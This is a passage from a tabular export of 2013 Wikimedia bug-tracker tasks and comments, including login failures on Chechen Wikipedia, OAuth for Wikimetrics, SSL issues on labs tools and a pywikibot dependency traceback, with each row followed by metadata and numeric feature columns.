+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1458",,,1385510964,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264856,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1455",,,1385505612,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59493,Allow Wikimedia OAuth login,"Currently, a Google account is required to log in into Wikimetrics.
+
+Now OAuth has been deployed for Wikimedia accounts, https://metrics.wmflabs.org/login seems a good candidate to consume it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1385251080,1387359680.0,PHID-USER-4opnqejtv7adgswtxy67,False,,False,PHID-TASK-yw42vj5h5opz3w6py6lb,task_description,resolved,True,c3,1,False,False,True,-84,True,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+280357,Allow Wikimedia OAuth login,"thanks Nemo, I'll try to be more careful about linking to bugs in the future.",,,1388414681,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+280354,Allow Wikimedia OAuth login,"(In reply to comment #3)
+> This looks fixed to me
+
+In https://gerrit.wikimedia.org/r/#/c/102618/ it seems",,,1388243570,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1
+280350,Allow Wikimedia OAuth login,This looks fixed to me,,,1387359680,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+280346,Allow Wikimedia OAuth login,"This was definitely the plan all along.  I will get to this but I'm not sure if right away.  If you need this right away, I'd be happy to help with a gerrit Change",,,1385303623,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,False,,,-84,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+280341,Allow Wikimedia OAuth login,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1284,,,1385251615,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59410,"Login for content language ""ce"" broken because of ""/"" in special page name","Hi. We have a problem with the entrance and exit to the site.
+
+Please correct synonyms, we are no longer able to enter the system under its
+
+entrance
+
+https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%A7%D1%83%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE
+
+output
+
+https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%90%D1%80%D0%B0%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE
+
+
+Userlogin → Чудалар
+Userlogout → Арадалар
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major",Needs Triage,90.0,1385114220,1385155180.0,PHID-USER-7326nrjc6zhnjwnxngjy,False,,False,PHID-TASK-n7phghrdsgveme7tbx73,task_description,resolved,True,c3,1,False,False,True,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+275390,"Login for content language ""ce"" broken because of ""/"" in special page name",Earned. Thank you very much.,,,1385154460,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+275383,"Login for content language ""ce"" broken because of ""/"" in special page name","We are in the process of getting the update deployed on Wikimedia wikis, including ce.wikipedia.org. This is why the advise is to translate *what the source code says* and to not start inventing cool adaptations of what translators think will look cool.
+
+Root cause of the issues was this change: https://translatewiki.net/w/i.php?title=MediaWiki:Sp-translate-data-SpecialPageAliases/ce&diff=prev&oldid=4793903",,,1385142133,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+275377,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 merged by jenkins-bot:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97032",,,1385140020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+275373,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 merged by Reedy:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97034",,,1385139752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+275369,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 merged by Reedy:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97033",,,1385139738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+275363,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 had a related patch set uploaded by Siebrand:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97034",,,1385139583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+275357,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 had a related patch set uploaded by Siebrand:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97033",,,1385139565,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+275351,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 had a related patch set uploaded by L10n-bot:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97032",,,1385139456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+275345,"Login for content language ""ce"" broken because of ""/"" in special page name","Anyone know how long this has been broken? or if slashes in special page aliases ever worked?
+
+It appears that the special page aliases were added in July, with slashes, and that the version of MediaWiki deployed then (1.22wmf10) also had broken login page.
+
+Anyway, removing the slashes will fix it but new translations are not deployed immediately.  They should be deployed sometime in the next 6 hours or so.",,,1385129282,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,True,,,-84,True,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+275340,"Login for content language ""ce"" broken because of ""/"" in special page name","Yeah, exactly because of slashes. But translatewiki do nothing to fix it.",,,1385122561,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+275335,"Login for content language ""ce"" broken because of ""/"" in special page name","I am writing to let everyone know
+The site http://translatewiki.net I corrected
+
+http://translatewiki.net/wiki/MediaWiki:Sp-translate-data-SpecialPageAliases/ce",,,1385121986,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1
+275329,"Login for content language ""ce"" broken because of ""/"" in special page name","After setting my local test wiki to Chechen language, I am certain this is caused by the slashes in the localised name of the special page. 
+
+Maybe this change [1] needs to be reverted.
+
+[1] https://gerrit.wikimedia.org/r/#q,I6e427d047a2f8e58677eb65b50866f767078c255,n,z",,,1385120253,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+275323,"Login for content language ""ce"" broken because of ""/"" in special page name","If you've unified your account, you should be able to log in at any other language Wikipedia, e.g. [[ru:Special:Userlogin]].
+
+But users without unified accounts cannot log into this wiki at all.",,,1385119144,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,True,,,-84,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+275314,"Login for content language ""ce"" broken because of ""/"" in special page name","This is the real problem. I really tried to login in Chechen Wikipedia, but there's simply no such page there. Could you please restore all modifications of login-module even if it needed to revert English messages?",,,1385119104,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+59371,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"Unable to connect via https to https://ee-dashboard.wmflabs.org/ with Firefox and Chrome.
+
+Firefox gives the error message: ssl_error_rx_record_too_long
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://ee-dashboard.wmflabs.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=60865",Needs Triage,90.0,1385065320,1396211622.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-elp5rbzac3txvdjf54ze,task_description,resolved,True,c3,1,True,False,True,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+273193,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),just tested again. Seems fixed now.,,,1396211622,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+273189,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1280,,,1385072210,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+273183,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"This is not a general Labs issue, but for a specific project.
+Moving to the Analytics crew.",,,1385071786,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+58927,SSL Certificate for UTRS on wmflabs.org,"**Author:** `tparis.wiki`
+
+**Description:**
+Please set up an SSL cert for the UTRS project.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: http://utrs.wmflabs.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53175",Needs Triage,90.0,1384230840,1388659862.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jag2rypjyxauvwi4iuft,task_description,declined,True,c3,1,False,False,True,-86,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+271847,SSL Certificate for UTRS on wmflabs.org,"No reply - closing as per comment 3. 
+TParis: Please reopen if this is not sufficient.",,,1388659862,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+271843,SSL Certificate for UTRS on wmflabs.org,Can this be closed?  We can now use the proxy system to encrypt web traffic.,,,1387482581,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+271837,SSL Certificate for UTRS on wmflabs.org,"**tparis.wiki** wrote:
+
+Yes, that's the correct URL.  Yubipanda said he may set up a proxy to encrypt the data instead of an SSL certificate which is fine, but asked me to open this ticket as well.",,,1384259345,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,False,,,-86,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+271828,SSL Certificate for UTRS on wmflabs.org,"Please provide more information. 
+http://utrs.wmflabs.org/ probably?
+
+Also see bug 55957 comment 1. Bug 53175 is a similar request.",,,1384255208,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1
+58584,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Error message
+
+Steps to reproduce:
+Click on the edit button
+
+Observed Result:
+""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE
+
+See the screenshot attached
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12683}",Needs Triage,90.0,1383598080,1383598243.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_description,resolved,True,c3,1,False,False,True,-87,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+277986,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Fallout from fixing bug 56583. Should be okay now.
+
+*** This bug has been marked as a duplicate of bug 56583 ***",,,1383598243,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_subcomment,,True,c3,1,True,,,-87,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+58389,default labs MediaWiki config will generate https links,"The Puppet templates/labs-localsettings has
+if ( array_key_exists( ""SERVER_NAME"", $_SERVER ) ) {
+    $wgServer = ""//"" . $_SERVER[""SERVER_NAME""];
+}
+
+Because $wgServer is not prefixed with http:, MediaWiki thinks https://servername links will work, thus several places in the code generate them, e.g. Special:UserLogin's _Use secure connection_ link and Echo notification e-mails. But most labs instances don't have working SSL, even via instance-proxy.wmflabs.org/
+
+Project admins can't override this in orig/LocalSettings.php because these lines come after it is require_once'd.
+
+Ideally the puppet LocalSettings would determine if https worked to the labs instance, and if not set
+   $wgServer= 'http://' . $_SERVER['SERVER_NAME'];
+
+Possible workarounds include unset ($_SERVER['REQUEST_TIME'] ),  overwriting $wgServer in some later config hook, and configuring SSL on the labs instance (bug 54065).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://toro.wmflabs.org/wiki/Special:UserLogin",Needs Triage,90.0,1383167520,1437710884.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_description,declined,True,c3,1,False,False,True,-88,True,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1
+496209,default labs MediaWiki config will generate https links,"Old and unmaintained puppet code, use labs-vagrant instead!",,,1437710884,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+58386,setup.py should require httplib2,"Test script
+
+Running <code>python setup.py install</code> while in virtualenv does not install automatically the httplib2 dependency.
+
+```
+(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
+Traceback (most recent call last):
+  File ""test.py"", line 4, in <module>
+    import pywikibot
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/__init__.py"", line 313, in <module>
+    from page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 16, in <module>
+    import pywikibot.site
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 33, in <module>
+    from pywikibot.data import api
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 13, in <module>
+    from pywikibot.comms import http
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 30, in <module>
+    from httplib2 import SSLHandshakeError
+ImportError: No module named httplib2
+```
+
+`test.py` is attached.
